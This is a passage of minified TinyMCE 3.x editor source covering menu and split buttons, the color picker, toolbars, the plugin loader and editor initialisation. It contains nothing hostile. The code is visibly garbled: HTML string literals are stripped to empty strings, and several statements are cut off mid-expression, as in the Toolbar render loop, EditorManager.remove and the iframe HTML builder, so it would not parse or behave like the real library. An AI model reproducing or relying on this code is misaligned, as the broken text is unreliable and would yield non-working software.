g=this,j,i,h=b.get(g.id),f;if(g.isDisabled()){return}if(!g.isMenuRendered){g.renderMenu();g.isMenuRendered=true}if(g.isMenuVisible){return g.hideMenu()}j=b.getPos(g.settings.menu_container);i=b.getPos(h);f=g.menu;f.settings.offset_x=i.x;f.settings.offset_y=i.y;f.settings.vp_offset_x=i.x;f.settings.vp_offset_y=i.y;f.settings.keyboard_focus=g._focused;f.showMenu(0,h.clientHeight);a.add(b.doc,"mousedown",g.hideMenu,g);g.setState("Selected",1);g.isMenuVisible=1},renderMenu:function(){var f=this,e;e=f.settings.control_manager.createDropMenu(f.id+"_menu",{menu_line:1,"class":this.classPrefix+"Menu",icons:f.settings.icons});e.onHideMenu.add(function(){f.hideMenu();f.focus()});f.onRenderMenu.dispatch(f,e);f.menu=e},hideMenu:function(g){var f=this;if(g&&g.type=="mousedown"&&b.getParent(g.target,function(h){return h.id===f.id||h.id===f.id+"_open"})){return}if(!g||!b.getParent(g.target,".mceMenu")){f.setState("Selected",0);a.remove(b.doc,"mousedown",f.hideMenu,f);if(f.menu){f.menu.hideMenu()}}f.isMenuVisible=0},postRender:function(){var e=this,f=e.settings;a.add(e.id,"click",function(){if(!e.isDisabled()){if(f.onclick){f.onclick(e.value)}e.showMenu()}})}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each;c.create("tinymce.ui.SplitButton:tinymce.ui.MenuButton",{SplitButton:function(g,f,e){this.parent(g,f,e);this.classPrefix="mceSplitButton"},renderHTML:function(){var i,f=this,g=f.settings,e;i="";if(g.image){e=b.createHTML("img ",{src:g.image,role:"presentation","class":"mceAction "+g["class"]})}else{e=b.createHTML("span",{"class":"mceAction "+g["class"]},"")}e+=b.createHTML("span",{"class":"mceVoiceLabel mceIconOnly",id:f.id+"_voice",style:"display:none;"},g.title);i+=""+b.createHTML("a",{role:"button",id:f.id+"_action",tabindex:"-1",href:"javascript:;","class":"mceAction "+g["class"],onclick:"return false;",onmousedown:"return false;",title:g.title},e)+"";e=b.createHTML("span",{"class":"mceOpen "+g["class"]},'');i+=""+b.createHTML("a",{role:"button",id:f.id+"_open",tabindex:"-1",href:"javascript:;","class":"mceOpen "+g["class"],onclick:"return false;",onmousedown:"return false;",title:g.title},e)+"";i+="";i=b.createHTML("table",{role:"presentation","class":"mceSplitButton mceSplitButtonEnabled "+g["class"],cellpadding:"0",cellspacing:"0",title:g.title},i);return b.createHTML("div",{id:f.id,role:"button",tabindex:"0","aria-labelledby":f.id+"_voice","aria-haspopup":"true"},i)},postRender:function(){var e=this,g=e.settings,f;if(g.onclick){f=function(h){if(!e.isDisabled()){g.onclick(e.value);a.cancel(h)}};a.add(e.id+"_action","click",f);a.add(e.id,["click","keydown"],function(h){var k=32,m=14,i=13,j=38,l=40;if((h.keyCode===32||h.keyCode===13||h.keyCode===14)&&!h.altKey&&!h.ctrlKey&&!h.metaKey){f();a.cancel(h)}else{if(h.type==="click"||h.keyCode===l){e.showMenu();a.cancel(h)}}})}a.add(e.id+"_open","click",function(h){e.showMenu();a.cancel(h)});a.add([e.id,e.id+"_open"],"focus",function(){e._focused=1});a.add([e.id,e.id+"_open"],"blur",function(){e._focused=0});if(c.isIE6||!b.boxModel){a.add(e.id,"mouseover",function(){if(!b.hasClass(e.id,"mceSplitButtonDisabled")){b.addClass(e.id,"mceSplitButtonHover")}});a.add(e.id,"mouseout",function(){if(!b.hasClass(e.id,"mceSplitButtonDisabled")){b.removeClass(e.id,"mceSplitButtonHover")}})}},destroy:function(){this.parent();a.clear(this.id+"_action");a.clear(this.id+"_open");a.clear(this.id)}})})(tinymce);(function(d){var c=d.DOM,a=d.dom.Event,b=d.is,e=d.each;d.create("tinymce.ui.ColorSplitButton:tinymce.ui.SplitButton",{ColorSplitButton:function(i,h,f){var g=this;g.parent(i,h,f);g.settings=h=d.extend({colors:"000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,008000,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,C0C0C0,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF,FFFFFF",grid_width:8,default_color:"#888888"},g.settings);g.onShowMenu=new d.util.Dispatcher(g);g.onHideMenu=new d.util.Dispatcher(g);g.value=h.default_color},showMenu:function(){var f=this,g,j,i,h;if(f.isDisabled()){return}if(!f.isMenuRendered){f.renderMenu();f.isMenuRendered=true}if(f.isMenuVisible){return f.hideMenu()}i=c.get(f.id);c.show(f.id+"_menu");c.addClass(i,"mceSplitButtonSelected");h=c.getPos(i);c.setStyles(f.id+"_menu",{left:h.x,top:h.y+i.clientHeight,zIndex:200000});i=0;a.add(c.doc,"mousedown",f.hideMenu,f);f.onShowMenu.dispatch(f);if(f._focused){f._keyHandler=a.add(f.id+"_menu","keydown",function(k){if(k.keyCode==27){f.hideMenu()}});c.select("a",f.id+"_menu")[0].focus()}f.isMenuVisible=1},hideMenu:function(g){var f=this;if(f.isMenuVisible){if(g&&g.type=="mousedown"&&c.getParent(g.target,function(h){return h.id===f.id+"_open"})){return}if(!g||!c.getParent(g.target,".mceSplitButtonMenu")){c.removeClass(f.id,"mceSplitButtonSelected");a.remove(c.doc,"mousedown",f.hideMenu,f);a.remove(f.id+"_menu","keydown",f._keyHandler);c.hide(f.id+"_menu")}f.isMenuVisible=0;f.onHideMenu.dispatch()}},renderMenu:function(){var p=this,h,k=0,q=p.settings,g,j,l,o,f;o=c.add(q.menu_container,"div",{role:"listbox",id:p.id+"_menu","class":q.menu_class+" "+q["class"],style:"position:absolute;left:0;top:-1000px;"});h=c.add(o,"div",{"class":q["class"]+" mceSplitButtonMenu"});c.add(h,"span",{"class":"mceMenuLine"});g=c.add(h,"table",{role:"presentation","class":"mceColorSplitMenu"});j=c.add(g,"tbody");k=0;e(b(q.colors,"array")?q.colors:q.colors.split(","),function(m){m=m.replace(/^#/,"");if(!k--){l=c.add(j,"tr");k=q.grid_width-1}g=c.add(l,"td");var i={href:"javascript:;",style:{backgroundColor:"#"+m},title:p.editor.getLang("colors."+m,m),"data-mce-color":"#"+m};if(!d.isIE){i.role="option"}g=c.add(g,"a",i);if(p.editor.forcedHighContrastMode){g=c.add(g,"canvas",{width:16,height:16,"aria-hidden":"true"});if(g.getContext&&(f=g.getContext("2d"))){f.fillStyle="#"+m;f.fillRect(0,0,16,16)}else{c.remove(g)}}});if(q.more_colors_func){g=c.add(j,"tr");g=c.add(g,"td",{colspan:q.grid_width,"class":"mceMoreColors"});g=c.add(g,"a",{role:"option",id:p.id+"_more",href:"javascript:;",onclick:"return false;","class":"mceMoreColors"},q.more_colors_title);a.add(g,"click",function(i){q.more_colors_func.call(q.more_colors_scope||this);return a.cancel(i)})}c.addClass(h,"mceColorSplitMenu");new d.ui.KeyboardNavigation({root:p.id+"_menu",items:c.select("a",p.id+"_menu"),onCancel:function(){p.hideMenu();p.focus()}});a.add(p.id+"_menu","mousedown",function(i){return a.cancel(i)});a.add(p.id+"_menu","click",function(i){var m;i=c.getParent(i.target,"a",j);if(i&&i.nodeName.toLowerCase()=="a"&&(m=i.getAttribute("data-mce-color"))){p.setColor(m)}return a.cancel(i)});return o},setColor:function(f){this.displayColor(f);this.hideMenu();this.settings.onselect(f)},displayColor:function(g){var f=this;c.setStyle(f.id+"_preview","backgroundColor",g);f.value=g},postRender:function(){var f=this,g=f.id;f.parent();c.add(g+"_action","div",{id:g+"_preview","class":"mceColorPreview"});c.setStyle(f.id+"_preview","backgroundColor",f.value)},destroy:function(){this.parent();a.clear(this.id+"_menu");a.clear(this.id+"_more");c.remove(this.id+"_menu")}})})(tinymce);(function(b){var d=b.DOM,c=b.each,a=b.dom.Event;b.create("tinymce.ui.ToolbarGroup:tinymce.ui.Container",{renderHTML:function(){var f=this,i=[],e=f.controls,j=b.each,g=f.settings;i.push('
    ');i.push("");i.push('");j(e,function(h){i.push(h.renderHTML())});i.push("");i.push("
    ");return i.join("")},focus:function(){var e=this;d.get(e.id).focus()},postRender:function(){var f=this,e=[];c(f.controls,function(g){c(g.controls,function(h){if(h.id){e.push(h)}})});f.keyNav=new b.ui.KeyboardNavigation({root:f.id,items:e,onCancel:function(){if(b.isWebKit){d.get(f.editor.id+"_ifr").focus()}f.editor.focus()},excludeFromTabOrder:!f.settings.tab_focus_toolbar})},destroy:function(){var e=this;e.parent();e.keyNav.destroy();a.clear(e.id)}})})(tinymce);(function(a){var c=a.DOM,b=a.each;a.create("tinymce.ui.Toolbar:tinymce.ui.Container",{renderHTML:function(){var m=this,f="",j,k,n=m.settings,e,d,g,l;l=m.controls;for(e=0;e"))}if(d&&k.ListBox){if(d.Button||d.SplitButton){f+=c.createHTML("td",{"class":"mceToolbarEnd"},c.createHTML("span",null,""))}}if(c.stdMode){f+=''+k.renderHTML()+""}else{f+=""+k.renderHTML()+""}if(g&&k.ListBox){if(g.Button||g.SplitButton){f+=c.createHTML("td",{"class":"mceToolbarStart"},c.createHTML("span",null,""))}}}j="mceToolbarEnd";if(k.Button){j+=" mceToolbarEndButton"}else{if(k.SplitButton){j+=" mceToolbarEndSplitButton"}else{if(k.ListBox){j+=" mceToolbarEndListBox"}}}f+=c.createHTML("td",{"class":j},c.createHTML("span",null,""));return c.createHTML("table",{id:m.id,"class":"mceToolbar"+(n["class"]?" "+n["class"]:""),cellpadding:"0",cellspacing:"0",align:m.settings.align||"",role:"presentation",tabindex:"-1"},""+f+"")}})})(tinymce);(function(b){var a=b.util.Dispatcher,c=b.each;b.create("tinymce.AddOnManager",{AddOnManager:function(){var d=this;d.items=[];d.urls={};d.lookup={};d.onAdd=new a(d)},get:function(d){if(this.lookup[d]){return this.lookup[d].instance}else{return undefined}},dependencies:function(e){var d;if(this.lookup[e]){d=this.lookup[e].dependencies}return d||[]},requireLangPack:function(e){var d=b.settings;if(d&&d.language&&d.language_load!==false){b.ScriptLoader.add(this.urls[e]+"/langs/"+d.language+".js")}},add:function(f,e,d){this.items.push(e);this.lookup[f]={instance:e,dependencies:d};this.onAdd.dispatch(this,f,e);return e},createUrl:function(d,e){if(typeof e==="object"){return e}else{return{prefix:d.prefix,resource:e,suffix:d.suffix}}},addComponents:function(f,d){var e=this.urls[f];b.each(d,function(g){b.ScriptLoader.add(e+"/"+g)})},load:function(j,f,d,h){var g=this,e=f;function i(){var k=g.dependencies(j);b.each(k,function(m){var l=g.createUrl(f,m);g.load(l.resource,l,undefined,undefined)});if(d){if(h){d.call(h)}else{d.call(b.ScriptLoader)}}}if(g.urls[j]){return}if(typeof f==="object"){e=f.prefix+f.resource+f.suffix}if(e.indexOf("/")!=0&&e.indexOf("://")==-1){e=b.baseURL+"/"+e}g.urls[j]=e.substring(0,e.lastIndexOf("/"));if(g.lookup[j]){i()}else{b.ScriptLoader.add(e,i,h)}}});b.PluginManager=new b.AddOnManager();b.ThemeManager=new b.AddOnManager()}(tinymce));(function(j){var g=j.each,d=j.extend,k=j.DOM,i=j.dom.Event,f=j.ThemeManager,b=j.PluginManager,e=j.explode,h=j.util.Dispatcher,a,c=0;j.documentBaseURL=window.location.href.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,"");if(!/[\/\\]$/.test(j.documentBaseURL)){j.documentBaseURL+="/"}j.baseURL=new j.util.URI(j.documentBaseURL).toAbsolute(j.baseURL);j.baseURI=new j.util.URI(j.baseURL);j.onBeforeUnload=new h(j);i.add(window,"beforeunload",function(l){j.onBeforeUnload.dispatch(j,l)});j.onAddEditor=new h(j);j.onRemoveEditor=new h(j);j.EditorManager=d(j,{editors:[],i18n:{},activeEditor:null,init:function(q){var n=this,p,l=j.ScriptLoader,u,o=[],m;function r(x,y,t){var v=x[y];if(!v){return}if(j.is(v,"string")){t=v.replace(/\.\w+$/,"");t=t?j.resolve(t):0;v=j.resolve(v)}return v.apply(t||this,Array.prototype.slice.call(arguments,2))}q=d({theme:"simple",language:"en"},q);n.settings=q;i.add(document,"init",function(){var s,v;r(q,"onpageload");switch(q.mode){case"exact":s=q.elements||"";if(s.length>0){g(e(s),function(x){if(k.get(x)){m=new j.Editor(x,q);o.push(m);m.render(1)}else{g(document.forms,function(y){g(y.elements,function(z){if(z.name===x){x="mce_editor_"+c++;k.setAttrib(z,"id",x);m=new j.Editor(x,q);o.push(m);m.render(1)}})})}})}break;case"textareas":case"specific_textareas":function t(y,x){return x.constructor===RegExp?x.test(y.className):k.hasClass(y,x)}g(k.select("textarea"),function(x){if(q.editor_deselector&&t(x,q.editor_deselector)){return}if(!q.editor_selector||t(x,q.editor_selector)){u=k.get(x.name);if(!x.id&&!u){x.id=x.name}if(!x.id||n.get(x.id)){x.id=k.uniqueId()}m=new j.Editor(x.id,q);o.push(m);m.render(1)}});break}if(q.oninit){s=v=0;g(o,function(x){v++;if(!x.initialized){x.onInit.add(function(){s++;if(s==v){r(q,"oninit")}})}else{s++}if(s==v){r(q,"oninit")}})}})},get:function(l){if(l===a){return this.editors}return this.editors[l]},getInstanceById:function(l){return this.get(l)},add:function(m){var l=this,n=l.editors;n[m.id]=m;n.push(m);l._setActive(m);l.onAddEditor.dispatch(l,m);return m},remove:function(n){var m=this,l,o=m.editors;if(!o[n.id]){return null}delete o[n.id];for(l=0;l':"",visual_table_class:"mceItemTable",visual:1,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",font_size_legacy_values:"xx-small,small,medium,large,x-large,xx-large,300%",apply_source_formatting:1,directionality:"ltr",forced_root_block:"p",hidden_input:1,padd_empty_editor:1,render_ui:1,init_theme:1,force_p_newlines:1,indentation:"30px",keep_styles:1,fix_table_elements:1,inline_styles:1,convert_fonts_to_spans:true,indent:"simple",indent_before:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,li,area,table,thead,tfoot,tbody,tr",indent_after:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,li,area,table,thead,tfoot,tbody,tr",validate:true,entity_encoding:"named",url_converter:q.convertURL,url_converter_scope:q,ie7_compat:true},r);q.documentBaseURI=new n.util.URI(r.document_base_url||n.documentBaseURL,{base_uri:tinyMCE.baseURI});q.baseURI=n.baseURI;q.contentCSS=[];q.execCallback("setup",q)},render:function(u){var v=this,x=v.settings,y=v.id,q=n.ScriptLoader;if(!k.domLoaded){k.add(document,"init",function(){v.render()});return}tinyMCE.settings=x;if(!v.getElement()){return}if(n.isIDevice&&!n.isIOS5){return}if(!/TEXTAREA|INPUT/i.test(v.getElement().nodeName)&&x.hidden_input&&o.getParent(y,"form")){o.insertAfter(o.create("input",{type:"hidden",name:y}),y)}if(n.WindowManager){v.windowManager=new n.WindowManager(v)}if(x.encoding=="xml"){v.onGetContent.add(function(s,t){if(t.save){t.content=o.encode(t.content)}})}if(x.add_form_submit_trigger){v.onSubmit.addToTop(function(){if(v.initialized){v.save();v.isNotDirty=1}})}if(x.add_unload_trigger){v._beforeUnload=tinyMCE.onBeforeUnload.add(function(){if(v.initialized&&!v.destroyed&&!v.isHidden()){v.save({format:"raw",no_events:true})}})}n.addUnload(v.destroy,v);if(x.submit_patch){v.onBeforeRenderUI.add(function(){var s=v.getElement().form;if(!s){return}if(s._mceOldSubmit){return}if(!s.submit.nodeType&&!s.submit.length){v.formElement=s;s._mceOldSubmit=s.submit;s.submit=function(){n.triggerSave();v.isNotDirty=1;return v.formElement._mceOldSubmit(v.formElement)}}s=null})}function r(){if(x.language&&x.language_load!==false){q.add(n.baseURL+"/langs/"+x.language+".js")}if(x.theme&&x.theme.charAt(0)!="-"&&!h.urls[x.theme]){h.load(x.theme,"themes/"+x.theme+"/editor_template"+n.suffix+".js")}i(g(x.plugins),function(t){if(t&&!c.urls[t]){if(t.charAt(0)=="-"){t=t.substr(1,t.length);var s=c.dependencies(t);i(s,function(A){var z={prefix:"plugins/",resource:A,suffix:"/editor_plugin"+n.suffix+".js"};var A=c.createUrl(z,A);c.load(A.resource,A)})}else{if(t=="safari"){return}c.load(t,{prefix:"plugins/",resource:t,suffix:"/editor_plugin"+n.suffix+".js"})}}});q.loadQueue(function(){if(!v.removed){v.init()}})}r()},init:function(){var v,I=this,J=I.settings,F,B,E=I.getElement(),r,q,G,z,D,H,A,x=[];n.add(I);J.aria_label=J.aria_label||o.getAttrib(E,"aria-label",I.getLang("aria.rich_text_area"));if(J.theme){J.theme=J.theme.replace(/-/,"");r=h.get(J.theme);I.theme=new r();if(I.theme.init&&J.init_theme){I.theme.init(I,h.urls[J.theme]||n.documentBaseURL.replace(/\/$/,""))}}function C(K){var L=c.get(K),t=c.urls[K]||n.documentBaseURL.replace(/\/$/,""),s;if(L&&n.inArray(x,K)===-1){i(c.dependencies(K),function(u){C(u)});s=new L(I,t);I.plugins[K]=s;if(s.init){s.init(I,t);x.push(K)}}}i(g(J.plugins.replace(/\-/g,"")),C);if(J.popup_css!==false){if(J.popup_css){J.popup_css=I.documentBaseURI.toAbsolute(J.popup_css)}else{J.popup_css=I.baseURI.toAbsolute("themes/"+J.theme+"/skins/"+J.skin+"/dialog.css")}}if(J.popup_css_add){J.popup_css+=","+I.documentBaseURI.toAbsolute(J.popup_css_add)}I.controlManager=new n.ControlManager(I);if(J.custom_undo_redo){I.onBeforeExecCommand.add(function(t,K,u,L,s){if(K!="Undo"&&K!="Redo"&&K!="mceRepaint"&&(!s||!s.skip_undo)){I.undoManager.beforeChange()}});I.onExecCommand.add(function(t,K,u,L,s){if(K!="Undo"&&K!="Redo"&&K!="mceRepaint"&&(!s||!s.skip_undo)){I.undoManager.add()}})}I.onExecCommand.add(function(s,t){if(!/^(FontName|FontSize)$/.test(t)){I.nodeChanged()}});if(a){function y(s,t){if(!t||!t.initial){I.execCommand("mceRepaint")}}I.onUndo.add(y);I.onRedo.add(y);I.onSetContent.add(y)}I.onBeforeRenderUI.dispatch(I,I.controlManager);if(J.render_ui){F=J.width||E.style.width||E.offsetWidth;B=J.height||E.style.height||E.offsetHeight;I.orgDisplay=E.style.display;H=/^[0-9\.]+(|px)$/i;if(H.test(""+F)){F=Math.max(parseInt(F)+(r.deltaWidth||0),100)}if(H.test(""+B)){B=Math.max(parseInt(B)+(r.deltaHeight||0),100)}r=I.theme.renderUI({targetNode:E,width:F,height:B,deltaWidth:J.delta_width,deltaHeight:J.delta_height});I.editorContainer=r.editorContainer}if(document.domain&&location.hostname!=document.domain){n.relaxedDomain=document.domain}o.setStyles(r.sizeContainer||r.editorContainer,{width:F,height:B});if(J.content_css){n.each(g(J.content_css),function(s){I.contentCSS.push(I.documentBaseURI.toAbsolute(s))})}B=(r.iframeHeight||B)+(typeof(B)=="number"?(r.deltaHeight||0):"");if(B<100){B=100}I.iframeHTML=J.doctype+'';if(J.document_base_url!=n.documentBaseURL){I.iframeHTML+=''}if(J.ie7_compat){I.iframeHTML+=''}else{I.iframeHTML+=''}I.iframeHTML+='';for(A=0;A'}I.contentCSS=[];z=J.body_id||"tinymce";if(z.indexOf("=")!=-1){z=I.getParam("body_id","","hash");z=z[I.id]||z}D=J.body_class||"";if(D.indexOf("=")!=-1){D=I.getParam("body_class","","hash");D=D[I.id]||""}I.iframeHTML+='
    ";if(n.relaxedDomain&&(b||(n.isOpera&&parseFloat(opera.version())<11))){G='javascript:(function(){document.open();document.domain="'+document.domain+'";var ed = window.parent.tinyMCE.get("'+I.id+'");document.write(ed.iframeHTML);document.close();ed.setupIframe();})()'}v=o.add(r.iframeContainer,"iframe",{id:I.id+"_ifr",src:G||'javascript:""',frameBorder:"0",allowTransparency:"true",title:J.aria_label,style:{width:"100%",height:B,display:"block"}});I.contentAreaContainer=r.iframeContainer;o.get(r.editorContainer).style.display=I.orgDisplay;o.get(I.id).style.display="none";o.setAttrib(I.id,"aria-hidden",true);if(!n.relaxedDomain||!G){I.setupIframe()}E=v=r=null},setupIframe:function(){var r=this,x=r.settings,y=o.get(r.id),z=r.getDoc(),v,q;if(!b||!n.relaxedDomain){z.open();z.write(r.iframeHTML);z.close();if(n.relaxedDomain){z.domain=n.relaxedDomain}}q=r.getBody();q.disabled=true;if(!x.readonly){q.contentEditable=true}q.disabled=false;r.schema=new n.html.Schema(x);r.dom=new n.dom.DOMUtils(r.getDoc(),{keep_values:true,url_converter:r.convertURL,url_converter_scope:r,hex_colors:x.force_hex_style_colors,class_filter:x.class_filter,update_styles:1,fix_ie_paragraphs:1,schema:r.schema});r.parser=new n.html.DomParser(x,r.schema);if(!r.settings.allow_html_in_named_anchor){r.parser.addAttributeFilter("name",function(s,t){var B=s.length,D,A,C,E;while(B--){E=s[B];if(E.name==="a"&&E.firstChild){C=E.parent;D=E.lastChild;do{A=D.prev;C.insert(D,E);D=A}while(D)}}})}r.parser.addAttributeFilter("src,href,style",function(s,t){var A=s.length,C,E=r.dom,D,B;while(A--){C=s[A];D=C.attr(t);B="data-mce-"+t;if(!C.attributes.map[B]){if(t==="style"){C.attr(B,E.serializeStyle(E.parseStyle(D),C.name))}else{C.attr(B,r.convertURL(D,t,C.name))}}}});r.parser.addNodeFilter("script",function(s,t){var A=s.length,B;while(A--){B=s[A];B.attr("type","mce-"+(B.attr("type")||"text/javascript"))}});r.parser.addNodeFilter("#cdata",function(s,t){var A=s.length,B;while(A--){B=s[A];B.type=8;B.name="#comment";B.value="[CDATA["+B.value+"]]"}});r.parser.addNodeFilter("p,h1,h2,h3,h4,h5,h6,div",function(t,A){var B=t.length,C,s=r.schema.getNonEmptyElements();while(B--){C=t[B];if(C.isEmpty(s)){C.empty().append(new n.html.Node("br",1)).shortEnded=true}}});r.serializer=new n.dom.Serializer(x,r.dom,r.schema);r.selection=new n.dom.Selection(r.dom,r.getWin(),r.serializer);r.formatter=new n.Formatter(this);r.formatter.register({alignleft:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"left"}},{selector:"img,table",collapsed:false,styles:{"float":"left"}}],aligncenter:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"center"}},{selector:"img",collapsed:false,styles:{display:"block",marginLeft:"auto",marginRight:"auto"}},{selector:"table",collapsed:false,styles:{marginLeft:"auto",marginRight:"auto"}}],alignright:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"right"}},{selector:"img,table",collapsed:false,styles:{"float":"right"}}],alignfull:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"justify"}}],bold:[{inline:"strong",remove:"all"},{inline:"span",styles:{fontWeight:"bold"}},{inline:"b",remove:"all"}],italic:[{inline:"em",remove:"all"},{inline:"span",styles:{fontStyle:"italic"}},{inline:"i",remove:"all"}],underline:[{inline:"span",styles:{textDecoration:"underline"},exact:true},{inline:"u",remove:"all"}],strikethrough:[{inline:"span",styles:{textDecoration:"line-through"},exact:true},{inline:"strike",remove:"all"}],forecolor:{inline:"span",styles:{color:"%value"},wrap_links:false},hilitecolor:{inline:"span",styles:{backgroundColor:"%value"},wrap_links:false},fontname:{inline:"span",styles:{fontFamily:"%value"}},fontsize:{inline:"span",styles:{fontSize:"%value"}},fontsize_class:{inline:"span",attributes:{"class":"%value"}},blockquote:{block:"blockquote",wrapper:1,remove:"all"},subscript:{inline:"sub"},superscript:{inline:"sup"},link:{inline:"a",selector:"a",remove:"all",split:true,deep:true,onmatch:function(s){return true},onformat:function(A,s,t){i(t,function(C,B){r.dom.setAttrib(A,B,C)})}},removeformat:[{selector:"b,strong,em,i,font,u,strike",remove:"all",split:true,expand:false,block_expand:true,deep:true},{selector:"span",attributes:["style","class"],remove:"empty",split:true,expand:false,deep:true},{selector:"*",attributes:["style","class"],split:false,expand:false,deep:true}]});i("p h1 h2 h3 h4 h5 h6 div address pre div code dt dd samp".split(/\s/),function(s){r.formatter.register(s,{block:s,remove:"all"})});r.formatter.register(r.settings.formats);r.undoManager=new n.UndoManager(r);r.undoManager.onAdd.add(function(t,s){if(t.hasUndo()){return r.onChange.dispatch(r,s,t)}});r.undoManager.onUndo.add(function(t,s){return r.onUndo.dispatch(r,s,t)});r.undoManager.onRedo.add(function(t,s){return r.onRedo.dispatch(r,s,t)});r.forceBlocks=new n.ForceBlocks(r,{forced_root_block:x.forced_root_block});r.editorCommands=new n.EditorCommands(r);r.serializer.onPreProcess.add(function(s,t){return r.onPreProcess.dispatch(r,t,s)});r.serializer.onPostProcess.add(function(s,t){return r.onPostProcess.dispatch(r,t,s)});r.onPreInit.dispatch(r);if(!x.gecko_spellcheck){r.getBody().spellcheck=0}if(!x.readonly){r._addEvents()}r.controlManager.onPostRender.dispatch(r,r.controlManager);r.onPostRender.dispatch(r);r.quirks=new n.util.Quirks(this);if(x.directionality){r.getBody().dir=x.directionality}if(x.nowrap){r.getBody().style.whiteSpace="nowrap"}if(x.handle_node_change_callback){r.onNodeChange.add(function(t,s,A){r.execCallback("handle_node_change_callback",r.id,A,-1,-1,true,r.selection.isCollapsed())})}if(x.save_callback){r.onSaveContent.add(function(s,A){var t=r.execCallback("save_callback",r.id,A.content,r.getBody());if(t){A.content=t}})}if(x.onchange_callback){r.onChange.add(function(t,s){r.execCallback("onchange_callback",r,s)})}if(x.protect){r.onBeforeSetContent.add(function(s,t){if(x.protect){i(x.protect,function(A){t.content=t.content.replace(A,function(B){return""})})}})}if(x.convert_newlines_to_brs){r.onBeforeSetContent.add(function(s,t){if(t.initial){t.content=t.content.replace(/\r?\n/g,"
    ")}})}if(x.preformatted){r.onPostProcess.add(function(s,t){t.content=t.content.replace(/^\s*/,"");t.content=t.content.replace(/<\/pre>\s*$/,"");if(t.set){t.content='
    '+t.content+"
    "}})}if(x.verify_css_classes){r.serializer.attribValueFilter=function(C,A){var B,t;if(C=="class"){if(!r.classesRE){t=r.dom.getClasses();if(t.length>0){B="";i(t,function(s){B+=(B?"|":"")+s["class"]});r.classesRE=new RegExp("("+B+")","gi")}}return !r.classesRE||/(\bmceItem\w+\b|\bmceTemp\w+\b)/g.test(A)||r.classesRE.test(A)?A:""}return A}}if(x.cleanup_callback){r.onBeforeSetContent.add(function(s,t){t.content=r.execCallback("cleanup_callback","insert_to_editor",t.content,t)});r.onPreProcess.add(function(s,t){if(t.set){r.execCallback("cleanup_callback","insert_to_editor_dom",t.node,t)}if(t.get){r.execCallback("cleanup_callback","get_from_editor_dom",t.node,t)}});r.onPostProcess.add(function(s,t){if(t.set){t.content=r.execCallback("cleanup_callback","insert_to_editor",t.content,t)}if(t.get){t.content=r.execCallback("cleanup_callback","get_from_editor",t.content,t)}})}if(x.save_callback){r.onGetContent.add(function(s,t){if(t.save){t.content=r.execCallback("save_callback",r.id,t.content,r.getBody())}})}if(x.handle_event_callback){r.onEvent.add(function(s,t,A){if(r.execCallback("handle_event_callback",t,s,A)===false){k.cancel(t)}})}r.onSetContent.add(function(){r.addVisual(r.getBody())});if(x.padd_empty_editor){r.onPostProcess.add(function(s,t){t.content=t.content.replace(/^(]*>( | |\s|\u00a0|)<\/p>[\r\n]*|
    [\r\n]*)$/,"")})}if(a){function u(s,t){i(s.dom.select("a"),function(B){var A=B.parentNode;if(s.dom.isBlock(A)&&A.lastChild===B){s.dom.add(A,"br",{"data-mce-bogus":1})}})}r.onExecCommand.add(function(s,t){if(t==="CreateLink"){u(s)}});r.onSetContent.add(r.selection.onSetContent.add(u))}r.load({initial:true,format:"html"});r.startContent=r.getContent({format:"raw"});r.undoManager.add();r.initialized=true;r.onInit.dispatch(r);r.execCallback("setupcontent_callback",r.id,r.getBody(),r.getDoc());r.execCallback("init_instance_callback",r);r.focus(true);r.nodeChanged({initial:1});i(r.contentCSS,function(s){r.dom.loadCSS(s)});if(x.auto_focus){setTimeout(function(){var s=n.get(x.auto_focus);s.selection.select(s.getBody(),1);s.selection.collapse(1);s.getBody().focus();s.getWin().focus()},100)}y=null},focus:function(v){var z,r=this,u=r.selection,y=r.settings.content_editable,s,q,x=r.getDoc();if(!v){s=u.getRng();if(s.item){q=s.item(0)}r._refreshContentEditable();if(!y){r.getWin().focus()}if(n.isGecko){r.getBody().focus()}if(q&&q.ownerDocument==x){s=x.body.createControlRange();s.addElement(q);s.select()}}if(n.activeEditor!=r){if((z=n.activeEditor)!=null){z.onDeactivate.dispatch(z,r)}r.onActivate.dispatch(r,z)}n._setActive(r)},execCallback:function(v){var q=this,u=q.settings[v],r;if(!u){return}if(q.callbackLookup&&(r=q.callbackLookup[v])){u=r.func;r=r.scope}if(d(u,"string")){r=u.replace(/\.\w+$/,"");r=r?n.resolve(r):0;u=n.resolve(u);q.callbackLookup=q.callbackLookup||{};q.callbackLookup[v]={func:u,scope:r}}return u.apply(r||q,Array.prototype.slice.call(arguments,1))},translate:function(q){var t=this.settings.language||"en",r=n.i18n;if(!q){return""}return r[t+"."+q]||q.replace(/{\#([^}]+)\}/g,function(u,s){return r[t+"."+s]||"{#"+s+"}"})},getLang:function(r,q){return n.i18n[(this.settings.language||"en")+"."+r]||(d(q)?q:"{#"+r+"}")},getParam:function(x,s,q){var t=n.trim,r=d(this.settings[x])?this.settings[x]:s,u;if(q==="hash"){u={};if(d(r,"string")){i(r.indexOf("=")>0?r.split(/[;,](?![^=;,]*(?:[;,]|$))/):r.split(","),function(y){y=y.split("=");if(y.length>1){u[t(y[0])]=t(y[1])}else{u[t(y[0])]=t(y)}})}else{u=r}return u}return r},nodeChanged:function(u){var q=this,r=q.selection,v=r.getStart()||q.getBody();if(q.initialized){u=u||{};v=b&&v.ownerDocument!=q.getDoc()?q.getBody():v;u.parents=[];q.dom.getParent(v,function(s){if(s.nodeName=="BODY"){return 